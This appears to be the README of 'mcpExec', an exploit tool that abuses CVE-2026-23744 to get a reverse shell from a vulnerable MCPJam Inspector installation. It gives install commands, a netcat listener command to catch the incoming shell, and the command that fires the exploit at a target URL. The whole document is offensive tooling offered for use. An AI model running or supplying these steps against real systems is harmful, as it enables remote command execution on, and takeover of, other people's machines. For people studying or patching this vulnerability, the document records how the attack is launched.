mcpExec is a tool that takes advantage of the CVE-2026-23744 to gather a reverse shell using the URL of the vulnerable MCPJam Inspector installation.

Installation

git clone https://github.com/daemoncibsec/mcpExec.git
cd mcpExec
python3 -m venv venv
source venv/bin/activate
pip install rich
pip install argparse
pip install requests
chmod +x mcpExec.py

To exit the venv:

deactivate

Usage/Examples

Open a listener for the exploit to work:

nc -nvlp 4444

This command will handle you the reverse shell (if the affected system has Python3 installed).

./mcpExec.py http://localhost:6274

Authors

• @daemoncibsec